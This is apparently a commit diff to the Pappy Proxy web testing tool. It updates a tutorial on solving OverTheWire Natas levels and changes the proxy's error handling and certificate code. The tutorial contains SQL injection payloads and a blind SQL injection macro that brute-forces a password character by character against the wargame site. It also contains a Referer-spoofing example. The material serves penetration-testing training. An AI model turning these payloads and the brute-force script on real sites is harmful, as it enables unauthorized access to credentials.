    This filter will only match requests whose host is exactly www.target.org. When defining our scope, we applied a filter using a containsr comparer. This matches any request where the field matches a regular expression. Here are a few fields and comparers:

    @@ -367,7 +367,7 @@ pappy>

    Finding Passwords

    While we can’t find all the passwords with one filter, if we remember how we got the password, we can find it pretty quickly

    For natas0 and natas1, the responses had a phrase like “the password is abc123”. So we can filter out anything that doesn’t have the word “password” in it.:

    -
    pappy> ls
    +
    pappy> ls
     ID  Verb  Host                               Path               S-Code                 Req Len  Rsp Len  Time  Mngl
     52  GET   natas4.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.26  --
     51  GET   natas4.natas.labs.overthewire.org  /favicon.ico       404 Not Found          0        307      0.27  --
    @@ -425,23 +425,23 @@ pappy>
     
  • ic <req|rsp>+ Begin interception mode. Intercepts requests and/or responses as decided by the arguments given in the command. ic req will only intercept requests, ic rsp will only intercept responses, and ic req rsp will intercept both.
  • In this case, we only want to intercept requests, so we’ll run ic req:

    -
    pappy> ic req
    +
    pappy> ic req
     

    And we’ll get a screen that says something like:

    -
    Currently intercepting: Requests
    +
    Currently intercepting: Requests
     0 item(s) in queue.
     Press 'n' to edit the next item or 'q' to quit interceptor.
     

    Now refresh the page in your browser. The page will hang like it’s taking a long time to load. Go back to Pappy, and now the interceptor will say something like:

    -
    Currently intercepting: Requests
    +
    Currently intercepting: Requests
     1 item(s) in queue.
     Press 'n' to edit the next item or 'q' to quit interceptor.
     

    Press n and the request will be opened for editing! Which editor is used is defined by the EDITOR environment variable. Use the text editor to add a Referer header (note that there’s only one r):

    -
    GET / HTTP/1.1
    +
    GET / HTTP/1.1
     Host: natas4.natas.labs.overthewire.org
     User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    @@ -489,7 +489,7 @@ Referer: http://natas5.natas.labs.overthewire.org/
     

    You must know the basics of how to use vim for the repeater and have a key bound to the leader. You can find more information on the leader key here. By default <leader> is bound to \.

    Submit a request then open that request in the repeater:

    -
    pappy> ls
    +
    pappy> ls
     196  GET   natas9.natas.labs.overthewire.org  /index.php?needle=ball&submit=Search      200 OK            0        1686     0.27  --
     195  GET   natas9.natas.labs.overthewire.org  /index-source.html                        200 OK            0        1952     0.27  --
     ... snip ...
    @@ -511,7 +511,7 @@ pappy> rp 196
     
  • rma <name> [args] Run a macro, optionally with arguments
  • So the first thing we’ll do is submit a request to have a base request that we can modify. Submit a request with any username. You should get a response back saying the user doesn’t exist. Now we’ll generate a macro and use that request as a base for our script:

    -
    pappy> ls
    +
    pappy> ls
     ID   Verb  Host                                Path                                      S-Code            Req Len  Rsp Len  Time  Mngl
     224  POST  natas15.natas.labs.overthewire.org  /index.php                                200 OK            14       937      0.27  --
     223  POST  natas15.natas.labs.overthewire.org  /index.php                                200 OK            12       937      0.27  --
    @@ -528,44 +528,44 @@ pappy>
     

    Now open up macro_brute.py in your favorite text editor. You should have a script that looks like this:

    -
    from pappyproxy.http import Request, get_request, post_request
    +
    from pappyproxy.http import Request, get_request, post_request
     from pappyproxy.context import set_tag
     
    -MACRO_NAME = 'Macro 41855887'
    -SHORT_NAME = ''
    +MACRO_NAME = 'Macro 41855887'
    +SHORT_NAME = ''
     
    -###########
    -## Requests
    -# It's suggested that you call .copy() on these and then edit attributes
    -# as needed to create modified requests
    -##
    +###########
    +## Requests
    +# It's suggested that you call .copy() on these and then edit attributes
    +# as needed to create modified requests
    +##
     
     
     req1 = Request((
    -    'POST /index.php HTTP/1.1\r\n'
    -    'Host: natas15.natas.labs.overthewire.org\r\n'
    -    'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
    -    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
    -    'Accept-Language: en-US,en;q=0.5\r\n'
    -    'Accept-Encoding: gzip, deflate\r\n'
    -    'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
    -    'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
    -    'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
    -    'Connection: keep-alive\r\n'
    -    'Content-Type: application/x-www-form-urlencoded\r\n'
    -    'Content-Length: 14\r\n'
    -    '\r\n'
    -    'username=admin'
    +    'POST /index.php HTTP/1.1\r\n'
    +    'Host: natas15.natas.labs.overthewire.org\r\n'
    +    'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
    +    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
    +    'Accept-Language: en-US,en;q=0.5\r\n'
    +    'Accept-Encoding: gzip, deflate\r\n'
    +    'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
    +    'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
    +    'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
    +    'Connection: keep-alive\r\n'
    +    'Content-Type: application/x-www-form-urlencoded\r\n'
    +    'Content-Length: 14\r\n'
    +    '\r\n'
    +    'username=admin'
     ))
     
     
     def run_macro(args):
    -    # Example:
    -    # req = req0.copy() # Copy req0
    -    # req.submit() # Submit the request to get a response
    -    # print req.response.raw_headers # print the response headers
    -    # req.save() # save the request to the data file
    -    # or copy req0 into a loop and use string substitution to automate requests
    +    # Example:
    +    # req = req0.copy() # Copy req0
    +    # req.submit() # Submit the request to get a response
    +    # print req.response.raw_headers # print the response headers
    +    # req.save() # save the request to the data file
    +    # or copy req0 into a loop and use string substitution to automate requests
         pass
     
    @@ -577,19 +577,19 @@ pappy>

    It is suggested you go through the documentation to learn the rest of the attributes/functions.

    To start out simple, we’ll write a macro that lets us check a username from the Pappy console. To define a function, you define the run_macro function. The function is passed a list of arguments which represent the arguments entered. Here a run_macro function that we can define that will check if a user exists:

    -
    def run_macro(args):
    -    to_check = args[0] # get the username to check
    -    r = req1.copy() # make a copy of the base request
    -    r.post_params['username'] = to_check # set the username param of the request
    -    r.submit() # submit the request
    -    if "This user doesn't exist." in r.response.raw_data: # check if the username is valid
    -        print "%s is not a user" % to_check
    +
    def run_macro(args):
    +    to_check = args[0] # get the username to check
    +    r = req1.copy() # make a copy of the base request
    +    r.post_params['username'] = to_check # set the username param of the request
    +    r.submit() # submit the request
    +    if "This user doesn't exist." in r.response.raw_data: # check if the username is valid
    +        print "%s is not a user" % to_check
         else:
    -        print "%s is a user!" % to_check
    +        print "%s is a user!" % to_check
     

    Then to run it:

    -
    pappy> lma
    +
    pappy> lma
     Loaded "<Macro Macro 41855887 (brute)>"
     pappy> rma brute admin
     admin is not a user
    @@ -602,15 +602,15 @@ pappy>
     

    Awesome! Notice how we didn’t have to deal with authentication either. This is because the authentication is handled by the Authorization header which was included in the generated request.

    Time to add the SQL injection part. If we look at the source, we see that this is the SQL query that checks the username:

    -
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    +
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
     

    So to escape it, we use a payload like:

    -
    username" OR 1=1; #
    +
    username" OR 1=1; #
     

    In this case, any username that ends in " OR 1=1; # will be considered a valid username. Let’s try this out:

    -
    pappy> rma brute "foo\" OR 1=1;"
    +
    pappy> rma brute "foo\" OR 1=1;"
     foo" OR 1=1; is a user!
     pappy> rma brute "fooooooo\" OR 1=1;"
     fooooooo" OR 1=1; is a user!
    @@ -618,62 +618,62 @@ pappy>
     

    Great! Now we can check any true/false condition we want. In this case, we want to check if a certain character is at a certain position in the password column. We do this with the ASCII and SUBSTRING functions. So something like this will check if the first character is an A.:

    -
    'natas16" AND ASCII(SUBSTRING(password, 0, 1)) = 41; #'
    +
    'natas16" AND ASCII(SUBSTRING(password, 0, 1)) = 41; #'
     

    Alright, let’s update our macro to find the first character of the password.:

    -
    from pappyproxy.http import Request, get_request, post_request
    +
    from pappyproxy.http import Request, get_request, post_request
     from pappyproxy.context import set_tag
     
    -MACRO_NAME = 'Macro 41855887'
    -SHORT_NAME = ''
    +MACRO_NAME = 'Macro 41855887'
    +SHORT_NAME = ''
     
    -###########
    -## Requests
    -# It's suggested that you call .copy() on these and then edit attributes
    -# as needed to create modified requests
    -##
    +###########
    +## Requests
    +# It's suggested that you call .copy() on these and then edit attributes
    +# as needed to create modified requests
    +##
     
     
     req1 = Request((
    -    'POST /index.php HTTP/1.1\r\n'
    -    'Host: natas15.natas.labs.overthewire.org\r\n'
    -    'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
    -    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
    -    'Accept-Language: en-US,en;q=0.5\r\n'
    -    'Accept-Encoding: gzip, deflate\r\n'
    -    'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
    -    'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
    -    'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
    -    'Connection: keep-alive\r\n'
    -    'Content-Type: application/x-www-form-urlencoded\r\n'
    -    'Content-Length: 14\r\n'
    -    '\r\n'
    -    'username=admin'
    +    'POST /index.php HTTP/1.1\r\n'
    +    'Host: natas15.natas.labs.overthewire.org\r\n'
    +    'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
    +    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
    +    'Accept-Language: en-US,en;q=0.5\r\n'
    +    'Accept-Encoding: gzip, deflate\r\n'
    +    'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
    +    'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
    +    'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
    +    'Connection: keep-alive\r\n'
    +    'Content-Type: application/x-www-form-urlencoded\r\n'
    +    'Content-Length: 14\r\n'
    +    '\r\n'
    +    'username=admin'
     ))
     
     def check_char(char, pos):
    -    payload = 'natas16" AND ASCII(SUBSTRING(password, %d, 1)) = %d; #' % (pos, ord(char))
    +    payload = 'natas16" AND ASCII(SUBSTRING(password, %d, 1)) = %d; #' % (pos, ord(char))
         r = req1.copy()
    -    r.post_params['username'] = payload
    +    r.post_params['username'] = payload
         r.submit()
    -    if "This user doesn't exist." in r.response.raw_data:
    +    if "This user doesn't exist." in r.response.raw_data:
             return False
         else:
             return True
     
     def run_macro(args):
    -    valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"
    +    valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"
         for c in valid_chars:
    -        print 'Trying %s...' % c
    +        print 'Trying %s...' % c
             if check_char(c, 1):
    -            print '%s is the first char!' % c
    +            print '%s is the first char!' % c
                 return
    -    print "The script didn't work"
    +    print "The script didn't work"
     

    And when we run it...:

    -
    pappy> lma
    +
    pappy> lma
     Loaded "<Macro Macro 41855887 (brute)>"
     pappy> rma brute
     Trying a...
    @@ -689,78 +689,78 @@ pappy>
     

    We find the first character! Woo! Next we just have to do this for each position. Even through we don’t know the length of the password, we will know that the password is over when none of the characters are valid. So let’s update our macro:

    -
    import sys
    +
    import sys
     from pappyproxy.http import Request, get_request, post_request
     from pappyproxy.context import set_tag
     
    -MACRO_NAME = 'Macro 41855887'
    -SHORT_NAME = ''
    +MACRO_NAME = 'Macro 41855887'
    +SHORT_NAME = ''
     
    -###########
    -## Requests
    -# It's suggested that you call .copy() on these and then edit attributes
    -# as needed to create modified requests
    -##
    +###########
    +## Requests
    +# It's suggested that you call .copy() on these and then edit attributes
    +# as needed to create modified requests
    +##
     
     
     req1 = Request((
    -    'POST /index.php HTTP/1.1\r\n'
    -    'Host: natas15.natas.labs.overthewire.org\r\n'
    -    'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
    -    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
    -    'Accept-Language: en-US,en;q=0.5\r\n'
    -    'Accept-Encoding: gzip, deflate\r\n'
    -    'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
    -    'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
    -    'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
    -    'Connection: keep-alive\r\n'
    -    'Content-Type: application/x-www-form-urlencoded\r\n'
    -    'Content-Length: 14\r\n'
    -    '\r\n'
    -    'username=admin'
    +    'POST /index.php HTTP/1.1\r\n'
    +    'Host: natas15.natas.labs.overthewire.org\r\n'
    +    'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n'
    +    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
    +    'Accept-Language: en-US,en;q=0.5\r\n'
    +    'Accept-Encoding: gzip, deflate\r\n'
    +    'Referer: http://natas15.natas.labs.overthewire.org/\r\n'
    +    'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n'
    +    'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n'
    +    'Connection: keep-alive\r\n'
    +    'Content-Type: application/x-www-form-urlencoded\r\n'
    +    'Content-Length: 14\r\n'
    +    '\r\n'
    +    'username=admin'
     ))
     
     def check_char(char, pos):
    -    payload = 'natas16" AND ASCII(SUBSTRING(password, %d, 1)) = %d; #' % (pos, ord(char))
    +    payload = 'natas16" AND ASCII(SUBSTRING(password, %d, 1)) = %d; #' % (pos, ord(char))
         r = req1.copy()
    -    r.post_params['username'] = payload
    +    r.post_params['username'] = payload
         r.submit()
    -    if "This user doesn't exist." in r.response.raw_data:
    +    if "This user doesn't exist." in r.response.raw_data:
             return False
         else:
             return True
     
     def run_macro(args):
    -    valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"
    -    password = ''
    +    valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890"
    +    password = ''
         done = False
         while True:
             done = True
             for c in valid_chars:
    -            # Print the current char to the current line
    +            # Print the current char to the current line
                 print c,
                 sys.stdout.flush()
     
    -            # Check the current char
    +            # Check the current char
                 if check_char(c, len(password)+1):
    -                # We got the correct char!
    +                # We got the correct char!
                     password += c
    -                # Print it to the screen
    -                print ''
    -                print '%s is char %d!' % (c, len(password)+1)
    -                print 'The password so far is %s' % password
    -                # We have to do another round
    +                # Print it to the screen
    +                print ''
    +                print '%s is char %d!' % (c, len(password)+1)
    +                print 'The password so far is %s' % password
    +                # We have to do another round
                     done = False
                     break
             if done:
    -            # We got through the entire alphabet
    -            print ''
    -            print 'Done! The password is "%s"' % password
    +            # We got through the entire alphabet
    +            print ''
    +            print 'Done! The password is "%s"' % password
                 break
     

    Then we run it:

    -
    pappy> lma
    +
    pappy> lma
     Loaded "<Macro Macro 41855887 (brute)>"
     pappy> rma brute
     a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W
    @@ -893,12 +893,12 @@ pappy>
             
  • previous |
  • - +
    \ No newline at end of file diff --git a/pappyproxy/__init__.py b/pappyproxy/__init__.py index c5b683c..51e2f03 100644 --- a/pappyproxy/__init__.py +++ b/pappyproxy/__init__.py @@ -1 +1 @@ -__version__ = '0.2.11' +__version__ = '0.2.12' diff --git a/pappyproxy/comm.py b/pappyproxy/comm.py index 499ce76..e8f4141 100644 --- a/pappyproxy/comm.py +++ b/pappyproxy/comm.py @@ -12,7 +12,7 @@ Handles creating a listening server bound to localhost that other processes can use to interact with the proxy. """ -debug = True +debug = False class CommServer(LineReceiver): MAX_LENGTH=sys.maxint diff --git a/pappyproxy/http.py b/pappyproxy/http.py index 0e765bd..d5be632 100644 --- a/pappyproxy/http.py +++ b/pappyproxy/http.py @@ -1108,6 +1108,15 @@ class Request(HTTPMessage): if self.unmangled: retreq.unmangled = self.unmangled.copy() return retreq + + def duplicate(self): + retreq = self.copy() + retreq.reqid = self.reqid + if self.unmangled: + retreq.unmangled = self.unmangled.duplicate() + if self.response: + retreq.response = self.response.duplicate() + return retreq @property def rsptime(self): @@ -1907,8 +1916,9 @@ class Request(HTTPMessage): if use_cache: use_cache.evict(self.reqid) - Request.cache.ordered_ids.remove(self.reqid) Request.cache.all_ids.remove(self.reqid) + if self.reqid in Request.cache.ordered_ids: + Request.cache.ordered_ids.remove(self.reqid) if self.reqid in Request.cache.req_times: del Request.cache.req_times[self.reqid] if self.reqid in Request.cache.inmem_reqs: @@ -2143,16 +2153,17 @@ class Request(HTTPMessage): if ret_unmangled: if not r.unmangled: raise PappyException("Request %s was not mangled"%r.reqid) - return r.unmangled + return r.unmangled.duplicate() if rsp_unmangled: if not r.response: raise PappyException("Request %s does not have a response" % r.reqid) if not r.response.unmangled: raise PappyException("Response to request %s was not mangled" % r.reqid) - r.response = r.response.unmangled - return r + retreq = r.duplicate() + retreq.response = retreq.response.unmangled + return retreq else: - return r + return r.duplicate() # Get it through the cache if use_cache and cache_to_use: @@ -2234,9 +2245,13 @@ class Request(HTTPMessage): # Set up factory settings factory.intercepting_macros = intercepting_macros factory.connection_id = get_next_connection_id() - factory.connect() - new_req = yield factory.data_defer - request.response = new_req.response + try: + yield factory.connect() + new_req = yield factory.data_defer + request.response = new_req.response + except Exception as e: + request.response = None + raise e defer.returnValue(request) @defer.inlineCallbacks @@ -2271,9 +2286,14 @@ class Request(HTTPMessage): Submits the request using its host, port, etc. and updates its response value to the resulting response. Cannot be called in async functions. + If an error is encountered while submitting the request, it is printed + to the console. This is what you should use to submit your requests in macros. """ - yield self.async_submit(mangle=mangle) + try: + yield self.async_submit(mangle=mangle) + except Exception as e: + print 'Submitting request to %s failed: %s' % (self.host, str(e)) class Response(HTTPMessage): @@ -2316,6 +2336,13 @@ class Response(HTTPMessage): retrsp.unmangled = self.unmangled.copy() return retrsp + def duplicate(self): + retrsp = self.copy() + retrsp.rspid = self.rspid + if self.unmangled: + retrsp.unmangled = self.unmangled.duplicate() + return retrsp + @property def raw_headers(self): """ diff --git a/pappyproxy/plugins/filter.py b/pappyproxy/plugins/filter.py index 104be5f..8d6904a 100644 --- a/pappyproxy/plugins/filter.py +++ b/pappyproxy/plugins/filter.py @@ -139,7 +139,7 @@ def scope_list(line): """ pappyproxy.context.print_scope() -@crochet.wait_for(timeout=None) +#@crochet.wait_for(timeout=None) @defer.inlineCallbacks def filter_prune(line): """ @@ -155,11 +155,11 @@ def filter_prune(line): # We copy so that we're not removing items from a set we're iterating over act_reqs = yield pappyproxy.pappy.main_context.get_reqs() - inact_reqs = Request.cache.all_ids.difference(set(act_reqs)) - inact_reqs = inact_reqs.difference(set(Request.cache.unmangled_ids)) + inact_reqs = set(Request.cache.req_ids()).difference(set(act_reqs)) message = 'This will delete %d/%d requests. You can NOT undo this!! Continue?' % (len(inact_reqs), (len(inact_reqs) + len(act_reqs))) - if not confirm(message, 'n'): - defer.returnValue(None) + print message + # if not confirm(message, 'n'): + # defer.returnValue(None) for reqid in inact_reqs: try: diff --git a/pappyproxy/plugins/vim_repeater/repeater.vim b/pappyproxy/plugins/vim_repeater/repeater.vim index 737605c..756ca51 100644 --- a/pappyproxy/plugins/vim_repeater/repeater.vim +++ b/pappyproxy/plugins/vim_repeater/repeater.vim @@ -3,6 +3,9 @@ if !has('python') finish endif +" Settings to make life easier +set hidden + let s:pyscript = resolve(expand(':p:h') . '/repeater.py') function! RepeaterAction(...) diff --git a/pappyproxy/proxy.py b/pappyproxy/proxy.py index 336c6a0..8376fea 100644 --- a/pappyproxy/proxy.py +++ b/pappyproxy/proxy.py @@ -14,6 +14,7 @@ from twisted.internet import defer from twisted.internet import reactor, ssl from twisted.internet.protocol import ClientFactory, ServerFactory from twisted.protocols.basic import LineReceiver +from twisted.python.failure import Failure next_connection_id = 1 @@ -86,23 +87,49 @@ def get_endpoint(target_host, target_port, target_ssl, socks_config=None, use_ht tcp_endpoint = TCP4ClientEndpoint(reactor, sock_host, sock_port) socks_endpoint = SOCKS5ClientEndpoint(target_host, target_port, tcp_endpoint, methods=methods) if target_ssl: - endpoint = TLSWrapClientEndpoint(ClientTLSContext(), socks_endpoint) + endpoint = TLSWrapClientEndpoint(ssl.ClientContextFactory(), socks_endpoint) else: endpoint = socks_endpoint else: if target_ssl: endpoint = SSL4ClientEndpoint(reactor, target_host, target_port, - ClientTLSContext()) + ssl.ClientContextFactory()) else: endpoint = TCP4ClientEndpoint(reactor, target_host, target_port) return endpoint - -class ClientTLSContext(ssl.ClientContextFactory): - isClient = 1 - def getContext(self): - return SSL.Context(SSL.TLSv1_METHOD) - +def is_wildcardable_domain_name(domain): + """ + Guesses if this is a domain that can have a wildcard CN + """ + parts = domain.split('.') + if len(parts) <= 2: + # can't wildcard single names or root domains + return False + if len(parts) != 4: + return True + for part in parts: + try: + v = int(part) + if v < 0 or v > 255: + return True + except ValueError: + return True + return False + +def get_wildcard_cn(domain): + """ + Returns a wildcard CN for the domain given + """ + top_parts = domain.split('.')[1:] # Wildcards the first subdomain + return '*.' + '.'.join(top_parts) # convert to *.example.com + +def get_most_general_cn(domain): + if is_wildcardable_domain_name(domain): + return get_wildcard_cn(domain) + else: + return domain + class ProxyClient(LineReceiver): def __init__(self, request): @@ -113,6 +140,7 @@ class ProxyClient(LineReceiver): self.data_defer = defer.Deferred() self.completed = False self.stream_response = True # used so child classes can temporarily turn off response streaming + self.data_received = False # we assume something's wrong until we get some data self._response_obj = http.Response() @@ -143,6 +171,7 @@ class ProxyClient(LineReceiver): self._response_obj.add_data(data) def dataReceived(self, data): + self.data_received = True if self.factory.stream_response and self.stream_response: self.factory.return_transport.write(data) LineReceiver.dataReceived(self, data) @@ -166,12 +195,37 @@ class ProxyClient(LineReceiver): assert self._response_obj.full_response self.data_defer.callback(self.request) + def respond_failure(self, message): + """ + Closes the connection to the remote server and returns an error message. + The request object will have a response of None. + """ + #self.transport.loseConnection() + self.data_defer.errback(PappyException(message)) + def clientConnectionFailed(self, connector, reason): self.log("Connection with remote server failed: %s" % reason) def clientConnectionLost(self, connector, reason): self.log("Connection with remote server lost: %s" % reason) + def _guess_failure_reason(self, failure): + message = failure.getErrorMessage() + try: + failure.raiseException() + except SSL.Error as e: + message = 'Error performing SSL handshake' + except Exception as e: + pass + return message + + def connectionLost(self, reason): + self.log("Connection lost: %s" % reason) + if not self.data_received: + self.request.response = None + message = self._guess_failure_reason(reason) + self.respond_failure("Connection lost: %s" % message) + class UpstreamHTTPProxyClient(ProxyClient): def __init__(self, request): @@ -240,7 +294,7 @@ class UpstreamHTTPProxyClient(ProxyClient): self._sent = False self.log("Starting TLS", verbosity_level=3) - self.transport.startTLS(ClientTLSContext()) + self.transport.startTLS(ssl.ClientContextFactory()) self.log("TLS started", verbosity_level=3) lines = self.request.full_message.splitlines() for l in lines: @@ -284,6 +338,7 @@ class ProxyClientFactory(ClientFactory): p.factory = self self.log("Building protocol", verbosity_level=3) p.data_defer.addCallback(self.return_request_pair) + p.data_defer.addErrback(self._data_defer_errback) return p def clientConnectionFailed(self, connector, reason): @@ -416,6 +471,9 @@ class ProxyClientFactory(ClientFactory): yield endpoint.connect(self) self.log("Connected") + def _data_defer_errback(self, message): + self.data_defer.errback(message) + class ProxyServerFactory(ServerFactory): def __init__(self, save_all=False): @@ -479,15 +537,16 @@ class ProxyServer(LineReceiver): host = self._request_obj.host else: host = cert_host + cn_host = get_most_general_cn(host) if not host in cached_certs: - log("Generating cert for '%s'" % host, + log("Generating cert for '%s'" % cn_host, verbosity_level=3) - (pkey, cert) = generate_cert(host, + (pkey, cert) = generate_cert(cn_host, session.config.cert_dir) - cached_certs[host] = (pkey, cert) + cached_certs[cn_host] = (pkey, cert) else: - log("Using cached cert for %s" % host, verbosity_level=3) - (pkey, cert) = cached_certs[host] + log("Using cached cert for %s" % cn_host, verbosity_level=3) + (pkey, cert) = cached_certs[cn_host] ctx = ServerTLSContext( private_key=pkey, certificate=cert, @@ -537,6 +596,7 @@ class ProxyServer(LineReceiver): stream_transport=return_transport) if return_transport is None: d.addCallback(self.send_response_back) + d.addErrback(self.send_error_back) self._reset() def _reset(self): @@ -568,6 +628,19 @@ class ProxyServer(LineReceiver): self.transport.write(droppedrsp.full_message) self.log("Response sent back, losing connection") self.transport.loseConnection() + + def send_error_back(self, failure): + errorrsp = http.Response(('HTTP/1.1 200 OK\r\n' + 'Connection: close\r\n' + 'Cache-control: no-cache\r\n' + 'Pragma: no-cache\r\n' + 'Cache-control: no-store\r\n' + 'X-Frame-Options: DENY\r\n' + 'Content-Length: %d\r\n\r\n' + '%s') % (len(str(failure.getErrorMessage())), str(failure.getErrorMessage()))) + self.transport.write(errorrsp.full_message) + self.log("Error response sent back, losing connection") + self.transport.loseConnection() def connectionMade(self): if self.factory.force_ssl: diff --git a/pappyproxy/requestcache.py b/pappyproxy/requestcache.py index cd91d81..97fafca 100644 --- a/pappyproxy/requestcache.py +++ b/pappyproxy/requestcache.py @@ -185,6 +185,24 @@ class RequestCache(object): if count >= num and num != -1: break + def req_ids(self, num=-1, ids=None, include_unmangled=False): + """ + Returns a list of IDs + """ + retids = [] + + over = list(self.ordered_ids) + for reqid in over: + if ids is not None and reqid not in ids: + continue + if not include_unmangled and reqid in self.unmangled_ids: + continue + if reqid in self.all_ids: + retids.append(reqid) + if len(retids) >= num and num != -1: + break + return retids + @defer.inlineCallbacks def load_by_tag(self, tag): reqs = yield pappyproxy.http.Request.load_requests_by_tag(tag, cust_cache=self, cust_dbpool=self.dbpool) diff --git a/pappyproxy/tests/test_requestcache.py b/pappyproxy/tests/test_requestcache.py index ac6625f..9e272a9 100644 --- a/pappyproxy/tests/test_requestcache.py +++ b/pappyproxy/tests/test_requestcache.py @@ -110,3 +110,24 @@ def test_cache_inmem_evict(): assert reqs[1] in cache.inmem_reqs assert reqs[2] in cache.inmem_reqs assert reqs[3] in cache.inmem_reqs + +def test_req_ids(): + reqs = gen_reqs(5) + cache = RequestCache(3) + cache.add(reqs[0]) + cache.add(reqs[1]) + cache.add(reqs[2]) + cache.add(reqs[3]) + assert cache.req_ids() == ['4', '3', '2', '1'] + +def test_req_ids_unmangled(): + reqs = gen_reqs(5) + cache = RequestCache(3) + reqs[0].unmangled = reqs[4] + cache.add(reqs[0]) + cache.add(reqs[4]) + cache.add(reqs[1]) + cache.add(reqs[2]) + cache.add(reqs[3]) + assert cache.req_ids() == ['4', '3', '2', '1'] + assert cache.req_ids(include_unmangled=True) == ['4', '3', '2', '5', '1'] diff --git a/setup.py b/setup.py index 5bec257..9a6d14c 100755 --- a/setup.py +++ b/setup.py @@ -25,6 +25,7 @@ setup(name='pappyproxy', 'beautifulsoup4>=4.4.1', 'cmd2>=0.6.8', 'crochet>=1.4.0', + 'cryptography>=1.3.1', 'Jinja2>=2.8', 'lxml>=3.6.0', 'pygments>=2.0.2',